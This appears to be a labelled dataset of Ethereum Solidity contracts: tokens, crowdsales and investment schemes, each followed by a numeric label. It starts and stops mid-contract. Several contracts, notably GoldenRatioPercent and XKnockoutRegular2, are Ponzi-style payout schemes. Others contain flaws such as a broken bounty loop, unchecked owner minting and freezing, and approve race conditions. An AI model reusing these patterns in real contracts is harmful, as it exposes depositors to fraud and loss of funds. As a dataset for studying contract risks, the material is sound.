Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
remaining = allowed[_owner][_spender];
}
function isNotContract(address _addr) private view returns (bool) {
uint length;
assembly {
length := extcodesize(_addr)
}
return (length == 0);
}
function() public payable {revert();}
} | 1 | 2,895 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
interface ERC20 {
function name() external returns (string);
function symbol() external returns (string);
function decimals() external returns (uint8);
function totalSupply() external returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IOwnable {
function owner() external returns(address);
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract GoldenRatioPercent is Ownable {
using SafeMath for uint;
event Invested(address Investedor, uint256 amount);
event Withdrawn(address Investedor, uint256 amount);
event Commission(address owner, uint256 amount);
event BountyList(address tokenAddress);
mapping(address => uint) public balance;
mapping(address => uint) public time;
mapping(address => uint) public percentWithdraw;
mapping(address => uint) public allPercentWithdraw;
mapping(address => uint) public lastDeposit;
uint public totalRaised = 0;
uint public stepTime = 1 hours;
uint public countOfInvestedors = 0;
uint projectPercent = 9;
uint public minDeposit = 10 finney;
string public site_url = "";
modifier isUser() {
require(balance[msg.sender] > 0, "User`s address not found");
_;
}
modifier isTime() {
require(now >= time[msg.sender].add(stepTime), "Not time it is now");
_;
}
function amendmentByRate() private view returns(uint) {
uint contractBalance = address(this).balance;
if (contractBalance < 1000 ether) {
return (30);
}
if (contractBalance >= 1000 ether && contractBalance < 2500 ether) {
return (40);
}
if (contractBalance >= 2500 ether && contractBalance < 5000 ether) {
return (50);
}
if (contractBalance >= 5000 ether && contractBalance < 10000 ether) {
return (60);
}
if (contractBalance >= 10000 ether) {
return (70);
}
}
function amendmentByLastDeposit(uint amount) private view returns(uint) {
if (lastDeposit[msg.sender] < 10 ether) {
return amount;
}
if (lastDeposit[msg.sender] >= 10 ether && lastDeposit[msg.sender] < 25 ether) {
return amount.mul(103).div(100);
}
if (lastDeposit[msg.sender] >= 25 ether && lastDeposit[msg.sender] < 50 ether) {
return amount.mul(104).div(100);
}
if (lastDeposit[msg.sender] >= 50 ether && lastDeposit[msg.sender] < 100 ether) {
return amount.mul(106).div(100);
}
if (lastDeposit[msg.sender] >= 100 ether) {
return amount.mul(110).div(100);
}
}
function amendmentByDepositRate() private view returns(uint) {
if (balance[msg.sender] < 10 ether) {
return (0);
}
if (balance[msg.sender] >= 10 ether && balance[msg.sender] < 25 ether) {
return (10);
}
if (balance[msg.sender] >= 25 ether && balance[msg.sender] < 50 ether) {
return (18);
}
if (balance[msg.sender] >= 50 ether && balance[msg.sender] < 100 ether) {
return (22);
}
if (balance[msg.sender] >= 100 ether) {
return (28);
}
}
function balance() public view returns (uint256) {
return address(this).balance;
}
mapping(address => uint) public bountyAmount;
mapping(address => mapping(address => uint)) public bountyUserWithdrawns;
mapping(address => uint) public bountyUserCounter;
mapping(address => uint) public bountyReward;
uint public bountierCounter = 0;
mapping(uint => address) public bountyList;
mapping(address => uint) public bountyListIndex;
function claimTokens(ERC20 token) public isUser returns(bool) {
if(bountyUserWithdrawns[token][msg.sender] == 0 &&
token.balanceOf(this) >= bountyReward[token])
{
bountyUserWithdrawns[token][msg.sender] = bountyReward[token];
if(token.balanceOf(this) <= bountyReward[token]) {
token.transfer(msg.sender, token.balanceOf(this));
bountyList[bountyListIndex[token]] = address(0);
return true;
} else {
token.transfer(msg.sender, bountyReward[token]);
return true;
}
}
}
function makeBounty(ERC20 token, uint amountOfUsers) public payable {
require(IOwnable(token).owner() == msg.sender);
uint amount = token.allowance(msg.sender, this);
token.transferFrom(msg.sender, this, amount);
require(token.balanceOf(msg.sender) >= amount.mul(1)**token.decimals());
require(msg.value >= amountOfUsers.mul(1 ether).div(10000));
bountyAmount[token] = amount;
bountyUserCounter[token] = amountOfUsers;
bountierCounter = bountierCounter.add(1);
bountyList[bountierCounter] = token;
bountyListIndex[token] = bountierCounter;
bountyReward[token] = amount.div(amountOfUsers);
}
function getBountyList() public {
for(uint i= 1; i <= 200 && i < bountierCounter; i++) {
emit BountyList(bountyList[bountierCounter]);
}
}
function payout() public view returns(uint256) {
uint256 percent = amendmentByRate().sub(amendmentByDepositRate());
uint256 different = now.sub(time[msg.sender]).div(stepTime);
uint256 rate = balance[msg.sender].mul(percent).div(1000);
uint256 withdrawalAmount = rate.mul(different).div(24).sub(percentWithdraw[msg.sender]);
return amendmentByLastDeposit(withdrawalAmount);
}
function setSiteUrl(string _url) public onlyOwner {
site_url = _url;
}
function _deposit() private {
if (msg.value > 0) {
require(msg.value >= minDeposit);
lastDeposit[msg.sender] = msg.value;
if (balance[msg.sender] == 0) {
countOfInvestedors += 1;
}
if (balance[msg.sender] > 0 && now > time[msg.sender].add(stepTime)) {
_reward();
percentWithdraw[msg.sender] = 0;
}
balance[msg.sender] = balance[msg.sender].add(msg.value);
time[msg.sender] = now;
totalRaised = totalRaised.add(msg.value);
uint256 commission = msg.value.mul(projectPercent).div(100);
owner.transfer(commission);
emit Invested(msg.sender, msg.value);
emit Commission(owner, commission);
} else {
_reward();
}
}
function _reward() private isUser isTime {
if ((balance[msg.sender].mul(1618).div(1000)) <= allPercentWithdraw[msg.sender]) {
balance[msg.sender] = 0;
time[msg.sender] = 0;
percentWithdraw[msg.sender] = 0;
} else {
uint256 pay = payout();
if(allPercentWithdraw[msg.sender].add(pay) >= balance[msg.sender].mul(1618).div(1000)) {
pay = (balance[msg.sender].mul(1618).div(1000)).sub(allPercentWithdraw[msg.sender]);
}
percentWithdraw[msg.sender] = percentWithdraw[msg.sender].add(pay);
allPercentWithdraw[msg.sender] = allPercentWithdraw[msg.sender].add(pay);
msg.sender.transfer(pay);
emit Withdrawn(msg.sender, pay);
}
}
function() external payable {
_deposit();
}
} | 1 | 3,254 |
pragma solidity ^0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
address public saleAgent;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier onlySaleAgent() {
require(msg.sender == saleAgent);
_;
}
function setSaleAgent(address newSaleAgent) public onlyOwner {
saleAgent = newSaleAgent;
}
function mint(address _to, uint256 _amount) public onlySaleAgent canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
function finishMinting() public onlySaleAgent returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract AgroTechFarmToken is MintableToken {
string public constant name = "Agro Tech Farm";
string public constant symbol = "ATF";
uint32 public constant decimals = 18;
}
contract preSale2 is Ownable {
using SafeMath for uint;
AgroTechFarmToken public token;
bool public preSale2Finished = false;
address public multisig;
uint public rate;
uint public tokenCap;
uint public start;
uint public period;
uint public hardcap;
address public restricted;
uint public restrictedPercent;
function preSale2() public {
token = AgroTechFarmToken(0xa55ffAeA5c8cf32B550F663bf17d4F7b739534ff);
multisig = 0x227917ac3C1F192874d43031cF4D40fd40Ae6127;
rate = 83333333333000000000;
tokenCap = 25000000000000000000000;
start = 1518739200;
period = 8;
hardcap = 500000000000000000000;
restricted = 0xbcCd749ecCCee5B4898d0E38D2a536fa84Ea9Ef6;
restrictedPercent = 35;
}
modifier saleIsOn() {
require(now > start && now < start + period * 1 days);
_;
}
modifier isUnderHardCap() {
require(this.balance <= hardcap);
_;
}
function balancePreSale2() public constant returns (uint) {
return this.balance;
}
function finishPreSale2() public onlyOwner returns (bool) {
if(now > start + period * 1 days || this.balance >= hardcap) {
multisig.transfer(this.balance);
preSale2Finished = true;
return true;
} else return false;
}
function createTokens() public isUnderHardCap saleIsOn payable {
uint tokens = rate.mul(msg.value).div(1 ether);
uint bonusTokens = 0;
uint totalSupply = token.totalSupply();
if (totalSupply <= tokenCap) {
bonusTokens = tokens.div(2);
} else bonusTokens = tokens.mul(40).div(100);
tokens += bonusTokens;
token.mint(msg.sender, tokens);
uint restrictedTokens = tokens.mul(restrictedPercent).div(100);
token.mint(restricted, restrictedTokens);
}
function() external payable {
createTokens();
}
} | 0 | 760 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
require(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
contract owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract Authorizable is owned {
struct Authoriz{
uint index;
address account;
}
mapping(address => bool) public authorized;
mapping(address => Authoriz) public authorizs;
address[] public authorizedAccts;
modifier onlyAuthorized() {
if(authorizedAccts.length >0)
{
require(authorized[msg.sender] == true || owner == msg.sender);
_;
}else{
require(owner == msg.sender);
_;
}
}
function addAuthorized(address _toAdd)
onlyOwner
public
{
require(_toAdd != 0);
require(!isAuthorizedAccount(_toAdd));
authorized[_toAdd] = true;
Authoriz storage authoriz = authorizs[_toAdd];
authoriz.account = _toAdd;
authoriz.index = authorizedAccts.push(_toAdd) -1;
}
function removeAuthorized(address _toRemove)
onlyOwner
public
{
require(_toRemove != 0);
require(_toRemove != msg.sender);
authorized[_toRemove] = false;
}
function isAuthorizedAccount(address account)
public
constant
returns(bool isIndeed)
{
if(account == owner) return true;
if(authorizedAccts.length == 0) return false;
return (authorizedAccts[authorizs[account].index] == account);
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed from, uint256 value);
constructor(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
emit Burn(_from, _value);
return true;
}
}
contract CarmenToken is Authorizable, TokenERC20 {
using SafeMath for uint256;
uint256 public tokenSaleHardCap;
uint256 public baseRate;
bool public tokenSaleClosed = false;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
modifier inProgress {
require(totalSupply < tokenSaleHardCap
&& !tokenSaleClosed);
_;
}
modifier beforeEnd {
require(!tokenSaleClosed);
_;
}
constructor(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {
tokenSaleHardCap = 121000000 * 10**uint256(decimals);
baseRate = 100 * 10**uint256(decimals);
}
function () public payable {
purchaseTokens(msg.sender);
}
function purchaseTokens(address _beneficiary) public payable inProgress{
require(msg.value >= 0.01 ether);
uint _tokens = computeTokenAmount(msg.value);
doIssueTokens(_beneficiary, _tokens);
owner.transfer(address(this).balance);
}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value >= balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
}
function mintToken(address target, uint256 mintedAmount) onlyAuthorized public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
emit Transfer(0, this, mintedAmount);
emit Transfer(this, target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyAuthorized public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
function setRatePrices(uint256 newRate) onlyAuthorized public {
baseRate = newRate;
}
function setTokenSaleHardCap(uint256 newTokenSaleHardCap) onlyAuthorized public {
tokenSaleHardCap = newTokenSaleHardCap;
}
function doIssueTokens(address _beneficiary, uint256 _tokens) internal {
require(_beneficiary != address(0));
balanceOf[_beneficiary] += _tokens;
totalSupply += _tokens;
emit Transfer(0, this, _tokens);
emit Transfer(this, _beneficiary, _tokens);
}
function computeTokenAmount(uint256 ethAmount) internal view returns (uint256) {
uint256 tokens = ethAmount.mul(baseRate) / 10**uint256(decimals);
return tokens;
}
function collect() external onlyAuthorized {
owner.transfer(address(this).balance);
}
function getBalance() public view onlyAuthorized returns (uint) {
return address(this).balance;
}
function close() public onlyAuthorized beforeEnd {
tokenSaleClosed = true;
owner.transfer(address(this).balance);
}
function openSale() public onlyAuthorized{
tokenSaleClosed = false;
}
} | 1 | 2,158 |
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function assert(bool assertion) private {
if (!assertion) throw;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function calculatePrice(uint value, uint tokensSold, uint weiRaised, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract FractionalERC20 is ERC20 {
uint public decimals;
}
contract Crowdsale is Haltable {
using SafeMathLib for uint;
FractionalERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
bool public requireCustomerId;
bool public requiredSignedAddress;
address public signerAddress;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool requireCustomerId, bool requiredSignedAddress, address signerAddress);
event Whitelisted(address addr, bool status);
event EndsAtChanged(uint endsAt);
function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) {
owner = msg.sender;
token = FractionalERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
if(!earlyParticipantWhitelist[receiver]) {
throw;
}
} else if(getState() == State.Funding) {
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(isBreakingCap(tokenAmount, weiAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner {
uint tokenAmount = fullTokens * 10**token.decimals();
uint weiAmount = weiPrice * tokenAmount;
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
assignTokens(receiver, tokenAmount);
Invested(receiver, weiAmount, tokenAmount, 0);
}
function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
bytes32 hash = sha256(addr);
if (ecrecover(hash, v, r, s) != signerAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
if(requiredSignedAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function invest(address addr) public payable {
if(requireCustomerId) throw;
if(requiredSignedAddress) throw;
investInternal(addr, 0);
}
function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
investWithSignedAddress(msg.sender, customerId, v, r, s);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner {
requiredSignedAddress = value;
signerAddress = _signerAddress;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner {
earlyParticipantWhitelist[addr] = status;
Whitelisted(addr, status);
}
function setEndsAt(uint time) onlyOwner {
if(now > time) {
throw;
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract StandardToken is ERC20, SafeMath {
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
modifier onlyPayloadSize(uint size) {
if(msg.data.length < size + 4) {
throw;
}
_;
}
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) returns (bool success) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
function addApproval(address _spender, uint _addedValue)
onlyPayloadSize(2)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
allowed[msg.sender][_spender] = safeAdd(oldValue, _addedValue);
return true;
}
function subApproval(address _spender, uint _subtractedValue)
onlyPayloadSize(2)
returns (bool success) {
uint oldVal = allowed[msg.sender][_spender];
if (_subtractedValue > oldVal) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = safeSub(oldVal, _subtractedValue);
}
return true;
}
}
contract MintableToken is StandardToken, Ownable {
using SafeMathLib for uint;
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
function mint(address receiver, uint amount) onlyMintAgent canMint public {
totalSupply = totalSupply.plus(amount);
balances[receiver] = balances[receiver].plus(amount);
Transfer(0, receiver, amount);
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
}
modifier onlyMintAgent() {
if(!mintAgents[msg.sender]) {
throw;
}
_;
}
modifier canMint() {
if(mintingFinished) throw;
_;
}
}
contract MintedEthCappedCrowdsale is Crowdsale {
uint public weiCap;
function MintedEthCappedCrowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, uint _weiCap) Crowdsale(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal) {
weiCap = _weiCap;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken) {
return weiRaisedTotal > weiCap;
}
function isCrowdsaleFull() public constant returns (bool) {
return weiRaised >= weiCap;
}
function assignTokens(address receiver, uint tokenAmount) private {
MintableToken mintableToken = MintableToken(token);
mintableToken.mint(receiver, tokenAmount);
}
} | 0 | 1,906 |
pragma solidity ^0.4.24;
contract XKnockoutRegular2 {
using SafeMath for uint256;
struct EntityStruct {
bool active;
bool vip;
uint listPointer;
uint256 date;
uint256 update;
uint256 exit;
uint256 profit;
}
mapping(address => EntityStruct) public entityStructs;
address[] public entityList;
address[] public vipList;
address dev;
uint256 base = 500000000000000000;
uint256 public startedAt = now;
uint256 public timeRemaining = 24 hours;
uint256 public devreward;
uint public round = 1;
uint public shift = 0;
uint public joined = 0;
uint public exited = 0;
bool public timetoRegular = true;
constructor() public {
dev = msg.sender;
}
function() public payable {
if(!checkRemaining()) {
if(msg.value == base) {
addToList();
} else if(msg.value == base.div(10)) {
up();
} else {
revert("Send 0.5 ETH to join the list or 0.05 ETH to up");
}
}
}
function addToList() internal {
if(entityStructs[msg.sender].active) revert("You are already in the list");
newEntity(msg.sender, true);
joined++;
startedAt = now;
entityStructs[msg.sender].date = now;
entityStructs[msg.sender].profit = 0;
entityStructs[msg.sender].update = 0;
entityStructs[msg.sender].exit = 0;
